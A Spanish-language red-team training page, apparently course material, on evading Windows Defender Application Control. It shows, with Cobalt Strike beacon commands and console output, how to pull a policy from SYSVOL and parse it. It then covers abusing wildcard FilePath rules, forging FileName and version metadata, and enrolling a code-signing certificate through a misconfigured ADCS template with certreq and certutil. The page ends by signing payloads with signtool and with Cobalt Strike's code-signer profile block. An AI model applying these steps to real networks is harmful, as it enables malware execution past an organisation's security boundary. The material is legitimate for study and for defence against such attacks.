Saltar a contenido

Windows Defender Application Control

Windows Defender Application Control

WDAC es una tecnología de Windows diseñada para controlar qué aplicaciones y drivers pueden ejecutarse en una máquina. Suena muy parecido a AppLocker, pero con algunas diferencias clave. La más significativa es que Microsoft reconoce WDAC como un official security boundary, lo que significa que es sustancialmente más robusto y que los bypasses que apliquen realmente se corrigen (y a menudo se emite un CVE al descubridor).

El término "WDAC bypass" se utiliza aquí, pero en realidad es inexacto dado que nunca "bypasseamos" WDAC a nivel fundamental. Más bien, encontramos debilidades en la política que ha implementado una organización.

Las WDAC policies primero se definen en formato XML. Microsoft distribuye varias base policies que se pueden encontrar en C:\Windows\schemas\CodeIntegrity\ExamplePolicies. Varias políticas pueden fusionarse en una sola política, que luego se empaqueta en un archivo .p7b y se distribuye vía GPO (u otra plataforma de administración como Intune).

Al igual que con ASR, dichas políticas se pueden leer desde una máquina a la que se les haya aplicado, o remotamente desde la GPO.

 beacon> ls \\acme.corp\SYSVOL\acme.corp\Policies\{9C02E6CB-854E-4DEF-86AB-3647AE89309F}\Machine\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 549b     fil     04/05/2023 10:41:45   comment.cmtx
 432b     fil     04/05/2023 10:41:45   Registry.pol

beacon> download \\acme.corp\SYSVOL\acme.corp\Policies\{9C02E6CB-854E-4DEF-86AB-3647AE89309F}\Machine\Registry.pol
[*] download of Registry.pol is complete

La política de GPO simplemente apunta al archivo p7b, que cada máquina debe descargar y aplicar:

PS C:\Users\Attacker\Desktop> Parse-PolFile .\Registry.pol

KeyName     : SOFTWARE\Policies\Microsoft\Windows\DeviceGuard
ValueName   : DeployConfigCIPolicy
ValueType   : REG_DWORD
ValueLength : 4
ValueData   : 1

KeyName     : SOFTWARE\Policies\Microsoft\Windows\DeviceGuard
ValueName   : ConfigCIPolicyFilePath
ValueType   : REG_SZ
ValueLength : 100
ValueData   : \\acme.corp\SYSVOL\acme.corp\scripts\CIPolicy.p7b

Normalmente estará en una ubicación con permisos de lectura para todos, así que puede descargarse fácilmente para su revisión offline:

beacon> download \\acme.corp\SYSVOL\acme.corp\scripts\CIPolicy.p7b
[*] download of CIPolicy.p7b is complete

Si ya tienes acceso a una máquina con la WDAC policy aplicada, el .p7b se puede tomar de C:\Windows\System32\CodeIntegrity.

Matt Graeber escribió la herramienta CIPolicyParser.ps1, que permite revertir el formato binario p7b de nuevo a XML entendible:

PS C:\Users\Attacker\Desktop> ipmo C:\Tools\CIPolicyParser.ps1
PS C:\Users\Attacker\Desktop> ConvertTo-CIPolicy -BinaryFilePath .\CIPolicy.p7b -XmlFilePath CIPolicy.xml

    Directory: C:\Users\Attacker\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        04/05/2023     15:37          15046 CIPolicy.xml

WDAC permite un control muy granular para “confiar” en una aplicación. Algunas de las reglas más usadas son:

  • Hash: permite la ejecución de binarios en base a su hash.
  • FileName: permite la ejecución de binarios basándose en su nombre de archivo original.
  • FilePath: permite la ejecución de binarios desde rutas de archivo específicas.
  • Publisher: permite la ejecución de binarios firmados por una CA en particular.

Cada regla también puede tener una regla “fallback”. Por ejemplo, "publisher" como principal y "filepath" como fallback. De esa forma, una aplicación podría ejecutarse si está en la ubicación correcta incluso si la comprobación de firma falla.

WDAC está aplicado en Workstation 3.


Living Off The Land Binaries, Scripts and Libraries

Como sucede con AppLocker, hay muchos binarios, scripts y librerías nativas de Windows que se pueden aprovechar para ejecutar código arbitrario y evitar WDAC. Esto normalmente elude una WDAC policy típica debido a que las aplicaciones firmadas por Windows se consideran de confianza de manera predeterminada. Microsoft mantiene de forma activa una recommended blocklist para contrarrestar estos casos, que las organizaciones deberían implementar. Dichas reglas de deny explícito son fáciles de ubicar en el XML.

Estas son reglas FileName, así que toman en cuenta el nombre de archivo con que se compiló originalmente la aplicación. Esto está embebido en el propio binario y se ve en sus propiedades.

Intentar ejecutar cualquier aplicación bloqueada resultará prevenido:

Para usar algún binario, script o librería confiada por Windows, debemos encontrar uno que no haya sido bloqueado por la política. El recurso Ultimate WDAC Bypass List es útil para cruzar referencias.


Wildcard FilePaths

El tipo más robusto de WDAC rule se basa en certificados (Publisher), pero no todos los desarrolladores firman sus aplicaciones. Por ejemplo, 7-Zip es muy popular en Windows, pero sus archivos no están firmados.

La siguiente mejor opción para permitir estos binarios quizá sea usar reglas FilePath individuales para cada archivo y reglas Hash como fallback. La forma más “perezosa” sería autorizar todo el directorio.

Tal regla se vería más o menos así:

Para abusar de tal regla, basta con copiar un binario dentro del directorio:

C:\Windows\system32>cd C:\Users\lmoore\Desktop

C:\Users\lmoore\Desktop>ConsoleApp.exe
The system cannot execute the specified program.

C:\Users\lmoore\Desktop>copy ConsoleApp.exe "C:\Program Files\7-Zip"
        1 file(s) copied.

C:\Users\lmoore\Desktop>"C:\Program Files\7-Zip\ConsoleApp.exe"
Hello World

Sin embargo, hay que tener en cuenta la Runtime FilePath Rule Protection. Esto viene habilitado por defecto y lo que hace es comprobar el DACL de la ruta en tiempo de ejecución. Si el path es escribible por usuarios sin privilegios administrativos, WDAC bloqueará la ejecución a pesar de que la ruta esté permitida en la política.

En nuestro ejemplo, si C:\Program Files\7-Zip tuviera un DACL mal configurado que permitiera a usuarios no-admin dejar ejecutables ahí, WDAC bloquearía todo lo que haya en ese directorio.


FileName

La otra regla presente en el ejemplo de 7-Zip es para su instalador:

Se trata de una simple FileName rule generada a partir del EXE instalador.

Requiere que la aplicación se compile con el nombre “7zipInstall.exe” y que la versión de archivo sea al menos 22.1.0.0. Estas reglas son muy frágiles porque podemos compilar binarios con nombres y números de versión arbitrarios. Por ejemplo, en un proyecto .NET, ve a propiedades del proyecto y define el assembly name:

Luego, haz clic en Assembly Information y cambia File Version:

El assembly compilado entonces tendrá las propiedades requeridas por esa regla y se ejecutará sin problema:

C:\Users\lmoore\Desktop>7zipInstall.exe
Hello World

Trusted Signers

Algunas organizaciones construyen y mantienen sus propias aplicaciones LOB (Line of Business) que podrían estar firmadas usando una CA interna, por ejemplo Active Directory Certificate Services. Dichas CAs pueden ser confiadas por la WDAC policy para que esas aplicaciones corran.

WDAC tiene dos niveles de certificate policy (tres si contamos Root, pero este no está soportado). El primero es Leaf y el segundo es PCA (Private Certificate Authority). Leaf agrega signers confiables al nivel de cada certificado de firma de código, mientras que PCA agrega la CA completa (normalmente un certificado por debajo del root).

Leaf otorga un control más granular, ya que cada certificado de firma de código emitido debe estar autorizado de forma individual, pero conlleva mayor trabajo de administración. PCA es menos robusto pero más cómodo, ya que con una sola regla se confía en cualquiera que emita esa CA.

Hay una versión de HelloWorld.exe en C:\Program Files\ACME Corp en Workstation 3 que está firmada por la CA subordinada del dominio:

La entrada relevante en la WDAC policy puede ser difícil de identificar, pues suelen perder sus nombres amigables. Solo vemos una signer entry y un hash TBS del certificado.

TBS significa "ToBeSigned" y se calcula a partir de los detalles SignerCertificate de un binario firmado. Para aprovechar esta regla, necesitamos el certificado que se usó al generar la policy o bien obtener nuestro propio certificado de la misma plantilla de firma de código.

Podemos enumerar todas las templates en la CA, buscando alguna destinada a code signing y verificar sus permisos de enrolamiento:

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /ca:sub-ca.acme.corp\sub-ca

Si tienes acceso al escritorio de una máquina unida al dominio, puedes solicitar el certificado directamente mediante el snap-in “Certificates” en MMC y luego exportarlo en formato PFX.

Como la plantilla tiene ENROLLEE_SUPPLIES_SUBJECT habilitado, podemos proveer un subject arbitrario para el certificado. Si queremos replicar el binario HelloWorld firmado, bastaría poner "CN=ACME Corp".

Si solo tienes línea de comandos, puedes usar certreq y certutil nativos.

Info

Los siguientes comandos se ejecutaron en Workstation 1, pero se pueden hacer desde cualquier máquina unida al dominio.

Primero, creamos un archivo .inf así:

[NewRequest]
Subject = "CN=ACME Corp"

KeySpec = 1
KeyLength = 2048
Exportable = TRUE
MachineKeySet = FALSE
SMIME = False
PrivateKeyArchive = FALSE
UserProtected = FALSE
UseExistingKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
RequestType = PKCS10
KeyUsage = 0xa0
HashAlgorithm = SHA256

[RequestAttributes]
CertificateTemplate=RTOCodeSigning

[EnhancedKeyUsageExtension]
OID=1.3.6.1.5.5.7.3.3

Lo más importante es Subject, CertificateTemplate y el OID. Luego convertimos este archivo a CSR binario:

C:\Temp>certreq -new -config sub-ca.acme.corp\sub-ca acme.inf acme.csr
Active Directory Enrollment Policy
  {8FCFCA3D-C3D3-4C86-9205-AB1140A2DA9C}
  ldap:

CertReq: Request Created

El CSR se envía a la CA:

C:\Temp>certreq -submit -config sub-ca.acme.corp\sub-ca acme.csr cert.cer
RequestId: 15
RequestId: "15"
Certificate retrieved(Issued) Issued

El certificado obtenido no incluye la clave privada, así que lo instalamos y luego lo reexportamos con la clave privada:

C:\Temp>certreq -accept cert.cer
Installed Certificate:
  Serial Number: 6e0000001afeb61facac1df4a700000000001a
  Subject: CN=ACME Corp
  NotBefore: 5/9/2023 4:12 PM
  NotAfter: 5/8/2024 4:12 PM
  Thumbprint: acb7fd757c71a9aac320ffecb7ba95449d73898b

Listamos los certificados en el “user’s personal store” para hallar el ID del que acabamos de instalar:

C:\Temp>certutil -user -store My
My "Personal"
================ Certificate 0 ================
Serial Number: 6e0000001afeb61facac1df4a700000000001a
Issuer: CN=sub-ca, DC=acme, DC=corp
 NotBefore: 5/9/2023 4:12 PM
 NotAfter: 5/8/2024 4:12 PM
Subject: CN=ACME Corp
Non-root Certificate
Template: RTOCodeSigning, RTO Code Signing
Cert Hash(sha1): acb7fd757c71a9aac320ffecb7ba95449d73898b
  Key Container = d9ad848ef1b20c57fbdb2104a83a253f_9611fe18-21d3-47ec-b1ef-5c639db10ae8
  Simple container name: tq-RTOCodeSigning-4cb60e9d-8c30-4ebc-b06d-5b4b06723f0e
  Provider = Microsoft RSA SChannel Cryptographic Provider
Encryption test passed
CertUtil: -store command completed successfully.

Solo hay uno, así que es 0. Lo exportamos con la clave privada y un password:

C:\Temp>certutil -user -exportpfx -privatekey -p pass123 My 0 acme.pfx
My "Personal"
================ Certificate 0 ================
Serial Number: 6e0000001afeb61facac1df4a700000000001a
Issuer: CN=sub-ca, DC=acme, DC=corp
 NotBefore: 5/9/2023 4:12 PM
 NotAfter: 5/8/2024 4:12 PM
Subject: CN=ACME Corp
Non-root Certificate
Template: RTOCodeSigning, RTO Code Signing
Cert Hash(sha1): acb7fd757c71a9aac320ffecb7ba95449d73898b
  Key Container = d9ad848ef1b20c57fbdb2104a83a253f_9611fe18-21d3-47ec-b1ef-5c639db10ae8
  Simple container name: tq-RTOCodeSigning-4cb60e9d-8c30-4ebc-b06d-5b4b06723f0e
  Provider = Microsoft RSA SChannel Cryptographic Provider
Encryption test passed
CertUtil: -exportPFX command completed successfully.

Ese PFX exportado se transfiere a la máquina del atacante, donde puede usarse para firmar binarios. La utilidad signtool (parte del Windows SDK) se ejecuta preferiblemente desde un Visual Studio Developer prompt:

C:\Users\Attacker\Desktop>signtool sign /f acme.pfx /p pass123 /fd SHA256 C:\Payloads\https_x64.exe
Done Adding Additional Store
Successfully signed: C:\Payloads\https_x64.exe

El binario firmado ahora se ejecutará en Workstation 3:

Cobalt Strike también tiene un workflow de code-signing que te permite firmar payloads ejecutables en el momento de crearlos. Como es una aplicación Java, hace falta crear primero el keystore Java usando keytool. Esto creará un nuevo keystore y una clave privada.

attacker@teamserver ~> keytool -genkey -alias server -keyalg RSA -keysize 2048 -storetype jks -keystore keystore.jks -dname "CN=ACME Corp"
Enter keystore password: pass123
Re-enter new password: pass123
Enter key password for <server>
        (RETURN if same as keystore password):

Generamos un CSR desde este keystore:

attacker@teamserver ~> keytool -certreq -alias server -file req.csr -keystore keystore.jks
Enter keystore password:pass123

attacker@teamserver ~> cat req.csr
-----BEGIN NEW CERTIFICATE REQUEST-----
MIICiTCCAXECAQAwFDESMBAGA1UEAxMJQUNNRSBDb3JwMIIBIjANBgkqhkiG9w0B
AQEFAAOCAQ8AMIIBCgKCAQEAp79hm7hJbbe83mn1ltwVyMLpnqfrh50o6AD2LdJo
WY4JJdoakDZRs/VAZTqgaqPh//Xl64dD4CAQPtlUDM92NtK4ciDiI7wCbt9bOJrX
oUTSg5GJfRaKRuZ882UC66D9+Ftv7LeBpzWnZTKkpsg3YQp6SfRRuGcsuc8OR+Gs
r699WOYWH5jXRlNbubWSk/PiFKIeWz/2rdOm7wv22RQ8nfXOo6sR/G3sP7CbT9Ju
gu0JcKq0SnR1OvwGjgjOMh0EY+c1okMULRlmeVgWo8fbBryF2tnkgK9lswdLIzEM
kRPmfRm2Ltc6oy8Ed1o5NOpp46DTAzGS1ABcK1N2Y3inqQIDAQABoDAwLgYJKoZI
hvcNAQkOMSEwHzAdBgNVHQ4EFgQUiwX2ko8hFWIBKo3WeD3FwtHI0tUwDQYJKoZI
hvcNAQELBQADggEBACufqBHrCP5oWnV9g6+pAvO5XUwZXfQqE/BFyT0hVFFUhIib
XZ6gXBHNMGBfee1oAD8heAG+JG3SPzFvjDsexJao+HDMtNTUOmRGkvFUFfx9HXel
FWJ3n3JzwCQkXQepNHwqn/GqtvmWcYi/VPuRQouX71WX+h12r1bosShZhaX47UZ8
/ueYeGxpwwYi1+mqxGIl4k2zWGh4ZDR5jiYtNVusaMJv9vzSnA0PDnlZHFeTSsK5
kFgy1eYDyDS+2T1AHFh5FXXmnDPNnEBCgIDxgShXHxMIz6lB8w8jXJCBvXxE4GLf
qcWPXF0d5dmJMNW4yHth6p/hwnheX0mE8mEsq7M=
-----END NEW CERTIFICATE REQUEST-----

Luego lo presentamos al ADCS. Si está habilitado, una manera cómoda es usar la interfaz web CertSrv:

Selecciona Request a certificate > advanced certificate request, pega el CSR y elige la plantilla adecuada:

Haz Submit y luego descarga la cadena de certificados en p7b:

Transfiere el p7b al team server e impórtalo en el keystore:

attacker@teamserver ~> keytool -import -trustcacerts -alias server -file certnew.p7b -keystore keystore.jks
Enter keystore password: pass123

Finalmente, agregamos un bloque code-signer al malleable C2 profile. Es similar a cómo configuramos keystore para HTTPS:

code-signer {
    set keystore "keystore.jks";
    set password "pass123";
    set alias "server";
}

Reiniciamos el team server y vamos a Payloads > Windows Stageless Generate All Payloads. Marcamos la casilla “sign” y todos los payloads ejecutables se firmarán.